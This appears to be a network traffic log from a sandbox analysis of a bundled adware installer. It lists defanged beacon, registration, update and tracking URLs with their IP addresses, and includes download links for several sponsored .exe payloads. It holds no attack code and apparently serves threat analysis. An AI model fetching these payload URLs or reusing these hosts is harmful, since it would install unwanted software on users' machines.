hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=XJYuqQQo69e7kz6lYX7QXr1yLlvxP1mXOvh959wRc6X8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQgpnHZJVLNWxcSOo/vAjb374r1XQZFERLb/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO79I32qLmgkBzr0Y7vf0dioHxIkD535tYISLpCCmchto6jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.230.45.197
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=iDRrwQhh7wuyUxg71rJbZmK4ne67wKoafhalIKY8mkHF v7PQ4kXwDEsdSRpTTrr/Gk1vcdFsJVtLmK2GmoZrElXCf41oGVAnbJKYwPfuhBAYiVgrZJUBECndBhIJGn5 6iLMOSvQnYmvzV8XsrOleIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8IS37QBYr6WNZiv78qWFsam6Mpeg1mvvHNMP8nao3Fu0qL 88MbCkJx/48vBuBRiWOEog NNy6LA==	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=1ZEnpGuz/ISSsSz5Gin3Vr1yLlvxP1mXNlUPUA4RqycyIvs8NVvu9kXFDxkTgufFWTYC2lEyeiTfITdK7bydInc0foGk6e4/QVTtOR88/ARnXw6eRR27vEQ5JRrthzer 1KrJEVAOY31EjpxAxBdSZZJBMudV17BMN8DpRR/UUgNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccGZAIKuKPZc2SrMJgyJ625KqNg96XQf/KQ0ZzeT1hTpTn2VTqOHzwRF7Hc5Z VCMXwfOVO40qst2CTVaWNpfsBgvDcyiS/JqdZC/I9SHAnYLAYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E57AoobIRFI6HlNforgq/TaD62P3KyTuKSp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnBrKiiyV NQaBxPf1B4WRX/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm QeDtbd39 1E5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyfKT2pK26DiWmmrvcVl0Mf/w==	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBC884p9KD0vQ6 NQxwZJY1sG0ShsAsHh6Xd9ppVOvbVdN0KG9cPd9hWoJO9kNY6KOUAB1raNOcILYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvUQzEfPR5H cZFYt96j8Hn3PgGUqUYly4OA=	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=QgW8pN5r26bof2QYjF1uP5ic0YnV KReB70p5cFj8vcSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EinyDU1xywvV3vvlC0n4Jh9gKkdlz1lRoZ4gGQsTv/jI9jUckoqA0UZuenVdpknkqRI26ArDLGl0Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ9H39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgNCn qX4FpTdffopz0y2Q7Y	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=QgW8pN5r26bof2QYjF1uP5ic0YnV KReB70p5cFj8vcSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EinyDU1xywvV3vvlC0n4Jh9gKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F1CokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RNO160abzp5CgNLtxmH87yasaZRg38QqQuJGktzKh38nNFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E4GJ4QV/LGgmjb7lwwGTBJiD62P3KyTuKSp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnBrKiiyV NQbbx5s60wEWd8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I/keGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1XzAUq9vGFcnz4PEn7DqvLFbw==	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKe1hFEam MpmbONeuBglAqxQKd0GEgkaflVZ4RT0d23GHcO0aQLqLvPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ9H39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgNCn qX4FpTdffopz0y2Q7Y	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBa50u3XyigpXfsjwfS9hqvDSH1 OEJ3biqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvkHg7W3d/ftROReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micnyk9qStug4lppq73FZdDH/8=	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBa50u3XyigpXfsjwfS9hqvGJ tgt1Qsz7I3wsN9Litx/yljm8sCR eIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVecSsxB9wO7GSp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnlj3TjUr89wfAHl6w3H159Q==	54.197.238.106
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=Ka qOJkckoVPNjxRBLtb453nP6cJ9p2Y/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nyBfkdHFoABez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0Wgrw Oa4ZOT7wUeA69rsRB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7ZJscHAoUBwEH4g8m9xuJOy ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=Ka qOJkckoVPNjxRBLtb453nP6cJ9p2Y/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nyBfkdHFoABe6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.230.45.197
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcKVqwjpUmtYy6uCsUQnIZCN/GNnAM6gVpC59BejwFKViHQGpdg iOJxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfMBSr28YVyfPg8SfsOq8sVv	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=Ka qOJkckoXHjWHokC5IQAENEGDD92d362ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNYffesQuN1AbIRqA21AjxE6JWIAQ8Wjpin/USt YsXz/9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0DDfA6UUf1FIDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHCCupf Q5XR x8kpng0IpIJ	54.197.238.106
hxxp://d16a55el92698t.cloudfront.net/p.ashx?e=657cd9m3NQFPNjxRBLtb48Mv3ZvOI2yo/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1n12EELBUZsE1QAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.230.45.197
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=wlkQ3WKgYpT/HsUBn07KUs4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8IS37QBYr6WNZiv78qWFsam6Mpeg1mvvHNMP8nao3Fu0qL 88MbCkJtUYb9dqX32KOEog NNy6LA==	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=wlkQ3WKgYpT/HsUBn07KUs4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfMmTADg95nKug8SfsOq8sVv	54.197.238.106
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=/TVH52TeC6TMZ3T6XmWM0 WWoSvDtQRTjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIs72zIVN1UN1yz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YM8Lp0Bjzny5jMJAB CbFgWNLVXkHqu5msQ8SvWqwsmfGywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS UVJBaVmDBy2wQweEsdq Xp/ZYbvQAvm qp9Xc7DttajYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvarEi4t8T1A64NwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccFzU3Kjr8dHG	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=/TVH52TeC6TMZ3T6XmWM0 WWoSvDtQRTjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIs72zIVN1UN1y6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMwmitO34V/86C1h8Hfn1ha4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.47.221
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=eISsn0A7mAY luBT5UotGM4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFAp3QYSCRp Rpd1THwhajU uvbl3jg3GmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXnErMQfcDuxkqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5zNmEULB9JS wB5esNx9efU=	54.197.238.106
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=yhrBLBbZM9WBOuidoZFbtc4CTydo2RkEzcFdShAqWbJ4E7mrr1h80jmXqQawsZSOUA7dl9owwhK/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDK6D6ypWzwyd lWLUtT/Ob84SfvtpjZHs7iBzxgz2DOxGplaxtKDMMacp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpCokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHAIttUHgTwN	54.192.47.221
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDfyyMiXp71dskSyr tF PxWT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThKGDom2Lr5xeA oO1ux9nxyTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvVPHbLV9CfBu9qbCRwRBKA7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvUQzEfPR5H cZCjca/6c/zCZgGUqUYly4OA=	54.197.238.106
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=3&utmn=1177964131&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=2022498955&utmr=-&utmp=Install_Complete&utmht=1420692775010&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzTsufXr7KVvV/ZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcV2fwAkvrmVqKDqSjldXWoYNHMbs2Nh9oIFF6f/a06pCWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvkHg7W3d/ftROReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn6dlr GGOs2Ypq73FZdDH/8=	54.197.238.106
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.119
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=wlkQ3WKgYpRPNjxRBLtb453nP6cJ9p2YjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2Kzb3V6O21GxuBMcUf8UemKAaLTBbHYTI	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=1Nq73JbirQ yUxg71rJbZvo01nOpbbwJTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhTzSgP4V/bWZFOgTnkR0i ZSK74HRWeZM0A75TMG4v BbKdUb4fSU3inFskWrXAmXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SP5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V89ZDXSYpq/nUDxJ w6ryxW8=	54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1	212.143.22.119
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1	212.143.22.119
hxxp://dsba220j59f4d.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.192.47.104
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.119
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1	212.143.22.119
hxxp://dsba220j59f4d.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.192.47.104
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1	212.143.22.119
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.1&utms=1&utmn=1625824679&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Installer_Init&utmht=1420692777575&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1575299846&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d16a55el92698t.cloudfront.net/affiliates/filesfrog/eula.html	54.230.45.197
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=aQQpsP6/AW3U0UsIWSR1jW9LKOllMFk562ls PLHCLDT03ZwnpMmri4u 59fITlqtmv4OlaXDlF0H0/8fBpMfpzI6WjgFlNrd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjmJzRidX4pF5NjXv5EZqqiuUcMgmj4Ul dhH2ZrpRFByrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgOQeDtbd39 1E5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyf7/QCal5Ww1c=	54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1420692778&SBPIDS=1	212.143.22.119
hxxp://dsba220j59f4d.cloudfront.net/mirror/pricefountain/default/setup.exe	54.192.47.104
hxxp://d16a55el92698t.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.45.197
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzSyMiXp71dskc5CO4NI7HfzdEMPgzYwqeWQ14on7GBy1H8FvIvBulFZLg2W8Sjc jd8cMSGOxTWOZuS0/O3oV2rxodeePw 5cQZvOa80aetps1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfOXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev/74tGvNvayU/6TSPHhrnPln4/wwk0n3rlr eli1WbKiL8d8yC4RVFjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agipNjduQNQV4 zynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KidCnSW0KryT	54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=XOxRKBm2zlx2gtIu55M0yr1yLlvxP1mX9c3fglOP5eOz6uevfqaymmuKg2XFbqUQvoXpSr3iMCtzVRIw0b4PP/CV4d3G7GmUPBFa8TQ 5Z19hZ5O6CQgZn5dMiu8MPG0U/h1UXRHlm Qiu5D5FEGqDVXbQPyTchD5RUOsZwXvURv3JbmM6qmcM8JTwZBXEaArZ2BLw79NpCFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aLQZeRNzdJ6xTTRQSGyUg0znjGnnHm/9mx5qFYbczN7Q37nFR8WA5LoRJLkeNvaR59jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5/FbCMRz6yfYrNvdXo7bUbDmXqQawsZSOUA7dl9owwhK/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDFnC5rkxALCzNmcnYmQ80HU=	54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420692792&SBPIDS=1	212.143.22.119
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=752829&mode=nolsp	107.20.238.80
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=754764&mode=nolsp	107.20.238.80
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=LU2XQ3qyK2DMZ3T6XmWM08nfOlO1RzQN3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dt2o5ApaNqnksNP54lXZxmkmfCP/tMDK1rDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBQCJnqR2yMdprKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJLh MsqZhmDfGMkHaRej7LEvbfMrWMyE/8zC6lNZ07stxoVjryQQFgYE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7QvzaT/KGyIKx5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wfuVW9IuUgOemS9jXjFgnw=	54.197.238.106
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.4864459881653822
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.7057303012055666
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&display_height=137&0.10294261059546283
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420692840&SBPIDS=1	212.143.22.119
hxxp://test.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE	107.20.238.80
hxxp://test.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE	107.20.238.80
hxxp://test.youtubeaccelerator.com/js/jquery-1.8.3.min.js	107.20.238.80
hxxp://test.youtubeaccelerator.com/styles/yta.css?v=1	107.20.238.80
